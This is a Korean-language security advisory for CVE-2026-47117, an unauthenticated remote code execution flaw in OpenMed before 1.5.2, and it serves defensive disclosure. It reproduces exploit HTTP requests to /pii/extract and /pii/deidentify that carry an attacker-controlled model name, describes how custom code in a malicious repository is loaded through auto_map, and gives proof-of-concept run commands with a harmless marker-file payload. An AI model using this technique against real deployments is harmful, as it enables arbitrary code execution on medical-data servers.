
OpenMed < 1.5.2 PII 개인정보 보호 필터 모델 로딩 및 trust_remote_code=True를 통한 인증되지 않은 RCE
심각도: 치명적, CVSS 4.0 9.3, CVSS 3.1 9.8 (CNA인 VulnCheck가 부여)
벡터 (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
벡터 (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
영향받는 버전: OpenMed < 1.5.2
수정된 버전: 1.5.2
CWE: CWE-94 (코드 생성의 부적절한 제어, 코드 주입)
발견 및 보고: Sai Teja Erukude
게시일: 2026년 6월 2일
1.5.2 이전의 OpenMed에는 PII 프라이버시 필터 모델 로딩 경로에 인증되지 않은 원격 코드 실행 취약점이 존재합니다.
REST API 엔드포인트 POST /pii/extract와 POST /pii/deidentify는 요청 본문에서 model_name 값을 받습니다. 취약한 버전에서 프라이버시 필터 디스패처는 이 공격자가 제어하는 값에 대해 광범위한 부분 문자열 매칭을 사용했습니다. 따라서 attacker/foo-privacy-filter-bar와 같은 모델 이름이 프라이버시 필터 백엔드로 라우팅될 수 있었습니다.
비 MLX/Torch 배포 환경에서 해당 백엔드는 trust_remote_code=True로 Transformers를 통해 Hugging Face 모델 아티팩트를 로드했습니다. 공격자가 제어하는 모델 저장소에 config.json 또는 tokenizer_config.json의 auto_map을 통해 참조되는 사용자 정의 Transformers 코드가 포함되어 있었다면, Transformers는 모델 또는 토크나이저 로딩 중에 해당 Python 코드를 가져와 실행했습니다.
가져온 코드는 OpenMed 서비스 프로세스의 권한으로 실행되었습니다.
OpenMed REST API에 접근할 수 있는 인증되지 않은 원격 공격자는 model_name에 악성 Hugging Face 스타일 모델 식별자를 제공하여 서버에서 임의의 Python 코드를 실행할 수 있습니다.
서비스 배포 방식에 따라 다음과 같은 행위가 가능할 수 있습니다:
두 PII 엔드포인트 모두 model_name을 받고 동일한 PII 추출/모델 로딩 경로를 사용하므로, 이 문제는 두 엔드포인트를 통해 모두 도달 가능합니다:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
취약한 제어 흐름에는 두 가지 신뢰 경계 실패가 있습니다:
model_name을 신뢰했습니다.trust_remote_code=True로 Transformers 아티팩트를 로드하여 원격 모델 저장소 코드를 신뢰했습니다.디스패처는 privacy-filter를 포함하는 모든 모델 식별자를 프라이버시 필터 제품군의 일부로 처리했습니다. 이로 인해 공격자가 제어하는 식별자, 예를 들어 attacker/foo-privacy-filter-bar가 신뢰할 수 있는 자사 Privacy Filter 모델용으로 의도된 코드 경로에 도달할 수 있었습니다.
일단 그곳으로 라우팅되면, Transformers는 auto_map을 통해 공격자가 제어하는 사용자 정의 코드를 로드할 수 있었습니다. 이 가져오기는 모델/토크나이저 로딩 중에 발생하며, 유용한 추론이 성공하기 전에 이루어집니다. 따라서 증명 페이로드는 다음과 같이 작을 수 있습니다:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py는 이름에 privacy-filter가 포함된 무해한 로컬 Hugging Face 스타일 모델 디렉터리를 생성합니다. 생성된 사용자 정의 Transformers 모듈은 임포트될 때 마커 파일을 작성합니다. 그런 다음 스크립트는 해당 디렉터리를 model_name으로 하여 테스트 OpenMed API 인스턴스에 요청을 보냅니다.
취약한 OpenMed 버전에서 예상되는 동작은 다음과 같습니다:
model_name을 수락합니다.trust_remote_code=True이기 때문에 Transformers가 생성된 사용자 정의 모듈을 임포트합니다.로컬 테스트 인스턴스에 대해서만 실행하십시오:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
OpenMed 서비스가 생성된 로컬 디렉터리에 접근할 수 없는 곳에서 실행되는 경우, 동등한 테스트 모델을 통제된 Hugging Face 저장소에 게시하고 해당 식별자를 명시적으로 전달하십시오:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
OpenMed 1.5.2 이상으로 업그레이드하십시오.
OpenMed 1.5.2는 라우팅과 신뢰를 분리합니다:
privacy-filter를 포함하는 임의의 저장소 이름은 더 이상 신뢰할 수 있는 privacy-filter 경로를 통해 라우팅되지 않습니다.PrivacyFilterTorchPipeline은 trust_remote_code의 기본값을 False로 설정합니다.OPENMED_TRUSTED_REMOTE_CODE_MODELS를 사용하여 허용 목록에 추가할 수 있습니다.즉시 업그레이드가 불가능한 경우:
model_name 값을 trust_remote_code=True로 Transformers에 전달하지 마십시오.| 날짜 | 사건 |
|---|---|
| 2026년 5월 18일 | 취약점이 VulnCheck에 제출됨 |
| 2026년 5월 20일 | VulnCheck가 조정된 공개 절차 개시 |
| 2026년 5월 22일 | CVE-2026-47117 잠정 할당 |
| 2026년 6월 1일 | OpenMed 1.5.2 수정 사항 검토 및 확인 |
| 2026년 6월 2일 | CVE-2026-47117 공개 |
Sai Teja Erukude가 발견하고 보고했습니다.
공개는 VulnCheck를 통해 조정되었습니다.